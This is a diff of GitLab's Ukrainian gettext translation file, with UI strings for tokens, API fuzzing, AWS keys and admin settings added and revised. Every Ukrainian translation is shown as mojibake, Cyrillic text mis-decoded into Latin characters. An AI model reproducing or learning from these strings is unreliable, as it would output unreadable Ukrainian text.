msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr "%{strongOpen}ПопередженнÑ:%{strongClose} поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð³Ñ€ÑƒÐ¿Ð¸ SAML може Ñпричинити автоматичне Ð²Ð¸Ð»ÑƒÑ‡ÐµÐ½Ð½Ñ ÑƒÑ‡Ð°Ñників із груп."
@@ -1165,6 +1199,9 @@ msgstr "%{total} загальна вага відкритих задач"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr "%{total}знайдено Ð¿Ð¾Ð¿ÐµÑ€ÐµÐ´Ð¶ÐµÐ½Ð½Ñ : показано перше%{warningsDisplayed}"
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (не може виконувати злиттÑ)"
@@ -1211,10 +1248,10 @@ msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notif
msgstr ""
msgid "%{widget} options"
-msgstr ""
+msgstr "%{widget} опції"
msgid "%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}v*%{code_tag_end} or %{code_tag_start}*-release%{code_tag_end} are supported."
-msgstr ""
+msgstr "%{wildcards_link_start}Шаблони%{wildcards_link_end} такі Ñк %{code_tag_start}v *%{code_tag_end} або %{code_tag_start}* -релізи%{code_tag_end}підтримуютьÑÑ."
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr "'%{data}' в %{location} не відповідає формату: %{format}"
@@ -1298,13 +1335,23 @@ msgstr "(видалено)"
msgid "(revoked)"
msgstr "(відкликано)"
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "(this user)"
-msgstr ""
+msgstr "(цей кориÑтувач)"
msgid "(we need your current password to confirm your changes)"
msgstr "(нам потрібен ваш поточний пароль Ð´Ð»Ñ Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ð°ÑˆÐ¸Ñ… змін)"
msgid "* All times are in UTC unless specified"
+msgstr "* УÑÑ– чаÑи викориÑтовуютьÑÑ Ð² UTC, Ñкщо не вказано"
+
+msgid "*Required"
msgstr ""
msgid "+ %{amount} more"
@@ -1347,6 +1394,9 @@ msgstr "+%{more_reviewers_count} більше оглÑдачів"
msgid "+%{tags} more"
msgstr "+%{tags} більше"
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ", або "
@@ -1364,7 +1414,7 @@ msgid "- Not available to run jobs."
msgstr "- ÐедоÑтупний Ð´Ð»Ñ Ð·Ð°Ð¿ÑƒÑку завдань."
msgid "- Select -"
-msgstr ""
+msgstr "- Вибрати -"
msgid "- User"
msgid_plural "- Users"
@@ -1628,7 +1678,7 @@ msgid "A GitBook site that uses Netlify for CI/CD instead of GitLab, but still w
msgstr "Сайт GitBook, Ñкий викориÑтовує Netlify Ð´Ð»Ñ CI/CD заміÑÑ‚ÑŒ GitLab, але вÑе ще з уÑіма іншими чудовими функціÑми GitLab"
msgid "A Gitpod configured Webapplication in Spring and Java"
-msgstr ""
+msgstr "Gitpod налаштував Webapplication у Spring та Java"
msgid "A Hexo site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features"
msgstr "Сайт Hexo, Ñкий викориÑтовує Netlify Ð´Ð»Ñ CI/CD заміÑÑ‚ÑŒ GitLab, але вÑе ще з уÑіма іншими чудовими функціÑми GitLab"
@@ -1643,7 +1693,7 @@ msgid "A Let's Encrypt SSL certificate can not be obtained until your domain is
msgstr "Ðе можливо отримати SSL Ñертифікат Let's Encrypt до того Ñк ваш домен буде перевірено."
msgid "A Metrics Dashboard menu item appears in the Monitoring section of the Admin Area."
-msgstr ""
+msgstr "Пункт меню ÐºÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ð¼ÐµÑ‚Ñ€Ð¸ÐºÐ¸ відображаєтьÑÑ Ð² розділі «Моніторинг в Панелі ÐдмініÑтратора»."
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr "Базова Ñторінка та Serverless функціÑ, що викориÑтовує AWS Lambda, AWS API Gateway та GitLab Pages"
@@ -1694,7 +1744,7 @@ msgid "A merge request hasn't yet been merged"
msgstr "Запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñ‰Ðµ не злито"
msgid "A new Auto DevOps pipeline has been created, go to the Pipelines page for details"
-msgstr ""
+msgstr "Створено новий конвеєр Auto DevOps, детальну інформацію можна знайти на Ñторінці Конвеєри"
msgid "A new Release %{tag} for %{name} was published. Visit the %{release_link_start}Releases page%{release_link_end} to read more about it."
msgstr "Опубліковано новий Реліз %{tag} Ð´Ð»Ñ %{name}. ПереглÑньте %{release_link_start}Сторінку Релізів%{release_link_end} щоб дізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ."
@@ -1702,9 +1752,6 @@ msgstr "Опубліковано новий Реліз %{tag} Ð´Ð»Ñ %{name}. П
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr "Опубліковано новий Реліз %{tag} Ð´Ð»Ñ %{name}. ПереглÑньте Ñторінку Релізів щоб дізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ:"
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr "У вашому форку буде Ñтворено нову гілку, а також буде ініційований новий запит на злиттÑ."
-
msgid "A new impersonation token has been created."
msgstr "Створено новий токен імітуваннÑ."
@@ -1715,13 +1762,13 @@ msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but stil
msgstr "Сайт на HTML, Ñкий викориÑтовує Netlify Ð´Ð»Ñ CI/CD заміÑÑ‚ÑŒ GitLab, але вÑе ще з уÑіма іншими чудовими функціÑми GitLab"
msgid "A platform value can be web, mob or app."
-msgstr ""
+msgstr "Ð—Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð¿Ð»Ð°Ñ‚Ñ„Ð¾Ñ€Ð¼Ð¸ може бути веб, моб або заÑтоÑунок."
msgid "A project boilerplate for Salesforce App development with Salesforce Developer tools"
msgstr "Проєкт boilerplate Ð´Ð»Ñ Ñ€Ð¾Ð·Ñ€Ð¾Ð±ÐºÐ¸ заÑтоÑунку Salesforce з інÑтрументами розробника Salesforce"
msgid "A project boilerplate for Tencent Serverless Framework that uses Next.js SSR"
-msgstr ""
+msgstr "Шаблон проєкту Ð´Ð»Ñ Tencent Serverless Framework, Ñкий викориÑтовує Next.js SSR"
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
@@ -1741,9 +1788,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "Вхід до вашого облікового запиÑу був зроблений з наÑтупної IP-адреÑи: %{ip}"
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr "РÑдок додаєтьÑÑ Ð´Ð¾ шлÑху проєкту Ð´Ð»Ñ Ñ„Ð¾Ñ€Ð¼Ð¸ email-адреÑи Service Desk."
-
msgid "A title is required"
msgstr "Ðеобхідно вказати заголовок"
@@ -1792,9 +1836,6 @@ msgstr "Виберіть метод"
msgid "APIFuzzing|Choose a profile"
msgstr "Виберіть профіль"
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr "Сніпет не вдалоÑÑ Ñтворити. Спробуйте ще раз пізніше."
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¾Ñновних значень автентифікації HTTP. ПідтримуютьÑÑ Ñ–Ð½ÑˆÑ– методи автентифікації. %{linkStart}Докладніше%{linkEnd}."
@@ -1829,13 +1870,13 @@ msgid "APIFuzzing|Password for basic authentication"
msgstr "Пароль Ð´Ð»Ñ Ð±Ð°Ð·Ð¾Ð²Ð¾Ñ— автентифікації"
msgid "APIFuzzing|Predefined profiles"
-msgstr ""
+msgstr "Попередньо визначені профілі"
msgid "APIFuzzing|Scan mode"
msgstr "Режим ÑкануваннÑ"
msgid "APIFuzzing|Scan profile"
-msgstr ""
+msgstr "Профіль ÑкануваннÑ"
msgid "APIFuzzing|Show code snippet for the profile"
msgstr ""
@@ -1847,13 +1888,13 @@ msgid "APIFuzzing|There are three ways to perform scans."
msgstr "ІÑнує три ÑпоÑоби Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð½Ñ ÑкануваннÑ."
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
-msgstr ""
+msgstr "Порада: вÑтавте наÑтупні змінні будь-де під ÑтадіÑми та включіть"
msgid "APIFuzzing|Tip: Insert this part below all include"
-msgstr ""
+msgstr "Порада: вÑтавте цю чаÑтину нижче вÑÑ–Ñ… включених"
msgid "APIFuzzing|Tip: Insert this part below all stages"
-msgstr ""
+msgstr "Порада: вÑтавте цю чаÑтину під уÑÑ– Ñтадії"
msgid "APIFuzzing|To prevent a security leak, authentication info must be added as a %{ciVariablesLinkStart}CI variable%{ciVariablesLinkEnd}. A user with maintainer access rights can manage CI variables in the %{ciSettingsLinkStart}Settings%{ciSettingsLinkEnd} area. We detected that you are not a maintainer. Commit your changes and assign them to a maintainer to update the credentials before merging."
msgstr ""
@@ -1865,28 +1906,28 @@ msgid "APIFuzzing|Username for basic authentication"
msgstr "Ð†Ð¼â€™Ñ ÐºÐ¾Ñ€Ð¸Ñтувача Ð´Ð»Ñ Ð±Ð°Ð·Ð¾Ð²Ð¾Ñ— аутентифікації"
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
-msgstr "Вам може знадобитиÑÑ Ð´Ð¾Ð¿Ð¾Ð¼Ð¾Ð³Ð° учаÑника команди проєкту Ð´Ð»Ñ Ð·Ð°Ñ…Ð¸Ñту ваших облікових даних."
+msgstr "Вам може знадобитиÑÑ Ð´Ð¾Ð¿Ð¾Ð¼Ð¾Ð³Ð° керівника Ð´Ð»Ñ Ð·Ð°Ñ…Ð¸Ñту ваших облікових даних."
msgid "APIFuzzing|folder/example.postman_collection.json"
-msgstr ""
+msgstr "folder/example.postman_collection.json"
msgid "APIFuzzing|folder/example_fuzz.har"
-msgstr ""
+msgstr "folder/example_fuzz.har"
msgid "APIFuzzing|folder/openapi.json"
-msgstr ""
+msgstr "folder/openapi.json"
msgid "AWS Access Key"
msgstr "Ключ доÑтупу AWS"
msgid "AWS Access Key. Only required if not using role instance credentials"
-msgstr ""
+msgstr "Ключ доÑтупу AWS. Ðеобхідний лише Ñкщо не викориÑтовуютÑÑ Ñ€Ð¾Ð»ÑŒÐ¾Ð²Ñ– параметри доÑтупу до інÑтанÑу"
msgid "AWS Secret Access Key"
msgstr "Секретний ключ доÑтупу AWS"
msgid "AWS Secret Access Key. Only required if not using role instance credentials"
-msgstr ""
+msgstr "Секретний ключ доÑтупу AWS. Ðеобхідний лише Ñкщо не викориÑтовуютÑÑ Ñ€Ð¾Ð»ÑŒÐ¾Ð²Ñ– параметри доÑтупу до інÑтанÑу"
msgid "AWS service error: %{error}"
msgstr "Помилка ÑервіÑу AWS: %{error}"
@@ -1922,7 +1963,7 @@ msgid "Acceptable for use in this project"
msgstr "Дозволений Ð´Ð»Ñ Ð²Ð¸ÐºÐ¾Ñ€Ð¸ÑÑ‚Ð°Ð½Ð½Ñ Ð² цьому проєкті"
msgid "Access Git repositories or the API."
-msgstr ""
+msgstr "ДоÑтуп до Git репозиторіїв або API."
msgid "Access Tokens"
msgstr "Токени доÑтупу"
@@ -1930,9 +1971,6 @@ msgstr "Токени доÑтупу"
msgid "Access denied for your LDAP account."
msgstr "ДоÑтуп до вашого облікового запиÑу LDAP заборонено."
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr "ДоÑтуп заборонено! Будь-лаÑка, перевірте, чи ви можете додавати ключі Ð´Ð»Ñ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð´Ð¾ цього Ñховища."
-
msgid "Access denied: %{error}"
msgstr "ДоÑтуп заборонено: %{error}"
@@ -1958,7 +1996,7 @@ msgid "Access to '%{classification_label}' not allowed"
msgstr "ДоÑтуп до \"%{classification_label}\" заборонено"
msgid "Access tokens expire after 2 hours. A refresh token may be used at any time to generate a new access token. Non-expiring access tokens are deprecated. Clear this setting to enable backward compatibility."
-msgstr ""
+msgstr "Термін дії токенів доÑтупу закінчуєтьÑÑ Ñ‡ÐµÑ€ÐµÐ· 2 години. Токен Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð¼Ð¾Ð¶Ðµ бути викориÑтаний у будь-Ñкий Ñ‡Ð°Ñ Ð´Ð»Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð½Ð¾Ð²Ð¾Ð³Ð¾ токена доÑтупу. Токени доÑтупу, Ñкі не закінчуютьÑÑ, заÑтаріли. ОчиÑÑ‚Ñ–Ñ‚ÑŒ цей параметр, щоб увімкнути зворотну ÑуміÑніÑÑ‚ÑŒ."
msgid "AccessDropdown|Deploy Keys"
msgstr "Ключі Ð´Ð»Ñ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚ÑƒÐ²Ð°Ð½Ð½Ñ"
@@ -2003,7 +2041,7 @@ msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues
msgstr ""
msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
-msgstr ""
+msgstr "Зберігайте цей токен в Ñекреті. Будь-хто, хто отримає до нього доÑтуп зможе читати RSS-канал активноÑÑ‚Ñ– та задач, а також канал вашого ÐºÐ°Ð»ÐµÐ½Ð´Ð°Ñ€Ñ Ð²Ñ–Ð´ вашого імені. Ви повинні %{link_reset_it} Ñкщо це трапитьÑÑ."
msgid "AccessTokens|Personal Access Tokens"
msgstr "ОÑобиÑÑ‚Ñ– токени доÑтупу"
@@ -2024,13 +2062,13 @@ msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads
msgstr ""
msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
-msgstr ""
+msgstr "Ваш токен Ð´Ð»Ñ Ð²Ñ…Ñ–Ð´Ð½Ð¸Ñ… повідомлень електронної пошти викориÑтовуєтьÑÑ Ð´Ð»Ñ Ð°Ð²Ñ‚ÐµÐ½Ñ‚Ð¸Ñ„Ñ–ÐºÐ°Ñ†Ñ–Ñ—, коли ви Ñтворюєте нові задачі через електронну пошту Ñ– включаєтьÑÑ Ð´Ð¾ ваших оÑобиÑтих Ð°Ð´Ñ€ÐµÑ ÐµÐ»ÐµÑ‚Ñ€Ð¾Ð½Ð½Ð¾Ñ— пошти Ð´Ð»Ñ ÐºÐ¾Ð½ÐºÑ€ÐµÑ‚Ð½Ð¾Ð³Ð¾ проєкту."
msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
msgid "AccessTokens|reset this token"
-msgstr ""
+msgstr "Ñкинути цей токен"
msgid "AccessibilityReport|Learn more"
msgstr "ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ"
@@ -2072,7 +2110,7 @@ msgid "Activate Service Desk"
msgstr "Ðктивувати Службу підтримки"
msgid "Activated on"
-msgstr ""
+msgstr "Ðктивовано"
msgid "Active"
msgstr "Ðктивний"
@@ -2132,25 +2170,25 @@ msgid "Add a GPG key"
msgstr "Додати GPG ключ"
msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
-msgstr ""
+msgstr "Додайте URL-адреÑу Jaeger, щоб замінити цю Ñторінку поÑиланнÑм на ваш Ñервер Jaeger. Спочатку вам потрібно %{link_start_tag} вÑтановити Jaeger%{link_end_tag}."
msgid "Add a Terms of Service agreement and Privacy Policy for users of this GitLab instance."
-msgstr ""
+msgstr "Додати угоду про умови Ð½Ð°Ð´Ð°Ð½Ð½Ñ Ð¿Ð¾Ñлуг Ñ– політику конфіденційноÑÑ‚Ñ– Ð´Ð»Ñ ÐºÐ¾Ñ€Ð¸Ñтувачів цього екземплÑра GitLab."
msgid "Add a bullet list"
msgstr "Додати ненумерований ÑпиÑок"
msgid "Add a collapsible section"
-msgstr ""
+msgstr "Додати згорнуту Ñекцію"
msgid "Add a comment to this line"
msgstr "Додати коментар до цього Ñ€Ñдка"
msgid "Add a comment to this line or drag for multiple lines"
-msgstr ""
+msgstr "Додати коментар до цього Ñ€Ñдка або перетÑгніть Ð´Ð»Ñ ÐºÑ–Ð»ÑŒÐºÐ¾Ñ… Ñ€Ñдків"
msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
-msgstr ""
+msgstr "Додайте перÑоналізоване Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð· детальними відомоÑÑ‚Ñми про Ñпільні runner'и інÑтанÑа. ÐŸÐ¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶Ð°Ñ”Ñ‚ÑŒÑÑ Ð² налаштуваннÑÑ… групи та CI/CD проєкту в розділі Runner'и. Markdown підтримуєтьÑÑ."
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr "Додайте загальний коментар до цього %{noteableDisplayName}."
@@ -2159,7 +2197,7 @@ msgid "Add a homepage to your wiki that contains information about your project
msgstr "Додати домашню Ñторінку в вікі, Ñка міÑтить інформацію про ваш проєкт, Ñ– GitLab відображатиме його тут заміÑÑ‚ÑŒ цього повідомленнÑ."
msgid "Add a horizontal rule"
-msgstr ""
+msgstr "Додайте горизонтальне лінію"
msgid "Add a line"
msgstr "Додати Ñ€Ñдок"
@@ -2168,7 +2206,7 @@ msgid "Add a link"
msgstr "Додати поÑиланнÑ"
msgid "Add a link to Grafana"
-msgstr ""
+msgstr "Додати поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð° Grafana"
msgid "Add a new issue"
msgstr "Додати нову задачу"
@@ -2179,12 +2217,18 @@ msgstr "Додати нумерований ÑпиÑок"
msgid "Add a related issue"
msgstr "Додати пов'Ñзану задачу"
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr "Додати таблицю"
msgid "Add a task list"
msgstr "Додати ÑпиÑок завдань"
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr "Додати нагадуваннÑ"
@@ -2227,6 +2271,12 @@ msgstr "Додати коментар до завдань Asana. %{docs_link}"
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr "Додати Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ñк коментарі до Ñ–Ñторій Pivotal Tracker. %{docs_link}"
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr "Додати Ð·Ð°Ð¼Ð¾Ñ€Ð¾Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ"
@@ -2269,9 +2319,6 @@ msgstr "Додати новий додаток"
msgid "Add new directory"
msgstr "Додати новий каталог"
-msgid "Add new service account"
-msgstr "Додати новий обліковий запиÑ"
-
msgid "Add or remove previously merged commits"
msgstr "Ð”Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ Ð°Ð±Ð¾ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ñ€Ð°Ð½Ñ–ÑˆÐµ злитих комітів"
@@ -2303,7 +2350,7 @@ msgid "Add system hook"
msgstr "Додати ÑиÑтемний хук"
msgid "Add text to the sign-in page. Markdown enabled."
-msgstr ""
+msgstr "Додати текÑÑ‚ до Ñторінки входу. Markdown увімкнено."
msgid "Add to Slack"
msgstr "Додати в Slack"
@@ -2327,7 +2374,7 @@ msgid "Add to tree"
msgstr "Додати до дерева"
msgid "Add topics to projects to help users find them."
-msgstr ""
+msgstr "Додайте теми до проєктів, щоб допомогти кориÑтувачам Ñ—Ñ… знайти."
msgid "Add trigger"
msgstr "Додати тригер"
@@ -2341,6 +2388,9 @@ msgstr "Додати кориÑтувача до групи"
msgid "Add variable"
msgstr "Додати змінну"
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr "Додати вебхук"
@@ -2386,9 +2436,6 @@ msgstr "Додано нагадуваннÑ."
msgid "Added an issue to an epic."
msgstr "Додано задачу до епіку."
-msgid "Added at"
-msgstr "Додано"
-
msgid "Added for this merge request"
msgstr "Додано до цього запиту на злиттÑ"
@@ -2431,8 +2478,8 @@ msgstr "Додає %{epic_ref} Ñк дочірній епік."
msgid "Adds %{labels} %{label_text}."
msgstr "Додає %{labels} %{label_text}."
-msgid "Adds a Zoom meeting"
-msgstr "Додає Zoom-зуÑтріч"
+msgid "Adds a Zoom meeting."
+msgstr ""
msgid "Adds a to do."
msgstr "Додати нагадуваннÑ."
@@ -2440,8 +2487,8 @@ msgstr "Додати нагадуваннÑ."
msgid "Adds an issue to an epic."
msgstr "Додає задачу до епіку."
-msgid "Adds email participant(s)"
-msgstr "Додає учаÑника(ів)"
+msgid "Adds email participant(s)."
+msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
msgstr ""
@@ -2513,7 +2560,7 @@ msgid "AdminArea|Features"
msgstr "Функції"
msgid "AdminArea|Get security updates from GitLab and stay up to date"
-msgstr ""
+msgstr "Отримувати Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð±ÐµÐ·Ð¿ÐµÐºÐ¸ від GitLab Ñ– бути в курÑÑ–"
msgid "AdminArea|Groups"
msgstr "Групи"
@@ -2536,6 +2583,9 @@ msgstr "ОÑтанні кориÑтувачі"
msgid "AdminArea|Maintainer"
msgstr "Керівник"
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr "Ðова група"
@@ -2555,10 +2605,10 @@ msgid "AdminArea|Reporter"
msgstr "Репортер"
msgid "AdminArea|Sign up for the GitLab Security Newsletter to get notified for security updates."
-msgstr ""
+msgstr "ЗареєÑтруйтеÑÑŒ на GitLab Security Newsletter, щоб отримати Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð±ÐµÐ·Ð¿ÐµÐºÐ¸."
msgid "AdminArea|Sign up for the GitLab newsletter"
-msgstr ""
+msgstr "ПідпишітьÑÑ Ð½Ð° розÑилку GitLab"
msgid "AdminArea|Stop all jobs"
msgstr "Зупинити вÑÑ– завданнÑ"
@@ -2602,7 +2652,7 @@ msgstr "Ви збираєтеÑÑ Ð·ÑƒÐ¿Ð¸Ð½Ð¸Ñ‚Ð¸ вÑÑ– завданнÑ. Ви
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Помилка при завантаженні ÑтатиÑтики. Будь лаÑка, Ñпробуйте знову"
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2612,16 +2662,16 @@ msgid "AdminProjects|Delete Project %{projectName}?"
msgstr "Видалити проєкт %{projectName}?"
msgid "AdminSettings|A Let's Encrypt account will be configured for this GitLab instance using this email address. You will receive emails to warn of expiring certificates. %{link_start}Learn more.%{link_end}"
-msgstr ""
+msgstr "Let's Encrypt буде налаштований Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ екземплÑра GitLab за допомогою цієї адреÑи електронної пошти. Ви отримуватимете повідомленнÑ, Ñкі попереджають про Ð·Ð°ÐºÑ–Ð½Ñ‡ÐµÐ½Ð½Ñ Ñ‚ÐµÑ€Ð¼Ñ–Ð½Ñƒ дії Ñертифікатів. %{link_start}ДізнайтеÑÑŒ більше. %{link_end}"
msgid "AdminSettings|All new projects can use the instance's shared runners by default."
-msgstr ""
+msgstr "Ð’ÑÑ– нові проєкти за замовчуваннÑм можуть викориÑтовувати загальні ранери (Runner'и) інÑтанÑа."
msgid "AdminSettings|Auto DevOps domain"
msgstr "Домен Auto DevOps"
msgid "AdminSettings|Configure Let's Encrypt"
-msgstr ""
+msgstr "Ðалаштувати Let's Encrypt"
msgid "AdminSettings|Disable feed token"
msgstr "Вимкнути токен Ð´Ð»Ñ ÐºÐ°Ð½Ð°Ð»Ñ–Ð²"
@@ -2630,13 +2680,13 @@ msgid "AdminSettings|Disable public access to Pages sites"
msgstr ""
msgid "AdminSettings|Display a banner on merge requests in projects with no pipelines to initiate steps to add a .gitlab-ci.yml file."
-msgstr ""
+msgstr "Відображає банер щодо запитів на Ð¾Ð±â€™Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ð² проєктах без конвеєрів, щоб розпочати кроки Ð´Ð»Ñ Ð´Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ Ñ„Ð°Ð¹Ð»Ñƒ .gitlab-ci.yml."
msgid "AdminSettings|Domain verification is an essential security measure for public GitLab sites. Users are required to demonstrate they control a domain before it is enabled. %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "AdminSettings|Enable pipeline suggestion banner"
-msgstr ""
+msgstr "Увімкнути банер пропозицій конвеєра"
msgid "AdminSettings|Enable shared runners for new projects"
msgstr "Увімкнути загальні runner'и Ð´Ð»Ñ Ð½Ð¾Ð²Ð¸Ñ… проєктів"
@@ -2645,7 +2695,7 @@ msgid "AdminSettings|Feed token"
msgstr "Токен доÑтупу до каналів"
msgid "AdminSettings|I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)."
-msgstr ""
+msgstr "Я прочитав Ñ– погоджуюÑÑŒ %{link_start}умовами викориÑтаннÑ%{link_end} (PDF)."
msgid "AdminSettings|If not specified at the group or instance level, the default is %{default_initial_branch_name}. Does not affect existing repositories."
msgstr "Якщо не вказано на рівні групи або інÑтанÑу, викориÑтовуєтьÑÑ Ñтандартне ім'Ñ %{default_initial_branch_name}. Ðе впливає на наÑвні репозиторії."
@@ -2654,7 +2704,7 @@ msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest succes
msgstr "Зберегти оÑтанні артефакти Ð´Ð»Ñ Ð²ÑÑ–Ñ… завдань в оÑтанніх уÑпішних конвеєрах"
msgid "AdminSettings|Let's Encrypt email"
-msgstr ""
+msgstr "електронна пошта Let's Encrypt"
msgid "AdminSettings|Maximum duration of a session for Git operations when 2FA is enabled."
msgstr "МакÑимальна триваліÑÑ‚ÑŒ ÑеÑÑ–Ñ— Ð´Ð»Ñ Git операцій, коли 2FA увімкнена."
@@ -2690,7 +2740,7 @@ msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration
msgstr "Ð’Ñтановити шаблон CI/CD Ñк необхідну конфігурацію конвеєра Ð´Ð»Ñ Ð²ÑÑ–Ñ… проєктів інÑтанÑа. ÐšÐ¾Ð½Ñ„Ñ–Ð³ÑƒÑ€Ð°Ñ†Ñ–Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñƒ CI/CD об'єднуєтьÑÑ Ð² необхідну конфігурацію конвеєра під Ñ‡Ð°Ñ Ð·Ð°Ð¿ÑƒÑку конвеєра. %{link_start}Що Ñ” необхідною конфігурацією Ð´Ð»Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ñ–Ð²?%{link_end}"
msgid "AdminSettings|Set the maximum size of GitLab Pages per project (0 for unlimited). %{link_start}Learn more.%{link_end}"
-msgstr ""
+msgstr "Ð’Ñтановіть макÑимальний розмір GitLab Pages Ð´Ð»Ñ ÐºÐ¾Ð¶Ð½Ð¾Ð³Ð¾ проєкту (0 Ð´Ð»Ñ Ð½ÐµÐ¾Ð±Ð¼ÐµÐ¶ÐµÐ½Ð¾Ñ— кількоÑÑ‚Ñ–). %{link_start}ДовідайтеÑÑŒ більше.%{link_end}"
msgid "AdminSettings|Size and domain settings for Pages static sites."
msgstr ""
@@ -2786,7 +2836,7 @@ msgid "AdminUsers|Admin"
msgstr "ÐдмініÑтратор"
msgid "AdminUsers|Administrators have access to all groups, projects and users and can manage all features in this installation."
-msgstr ""
+msgstr "ÐдмініÑтратори мають доÑтуп до вÑÑ–Ñ… груп, проєктів та кориÑтувачів Ñ– можуть керувати вÑіма функціÑми цього вÑтановленнÑ."
msgid "AdminUsers|Admins"
msgstr "ÐдмініÑтратори"
@@ -2801,13 +2851,13 @@ msgid "AdminUsers|Approved users can:"
msgstr "Затверджені кориÑтувачі можуть:"
msgid "AdminUsers|Auditor"
-msgstr ""
+msgstr "Ðудитор"
msgid "AdminUsers|Auditors have read-only access to all groups, projects, and users."
-msgstr ""
+msgstr " Ðудитори мають доÑтуп тільки Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ Ð´Ð¾ вÑÑ–Ñ… груп, проєктів та кориÑтувачів"
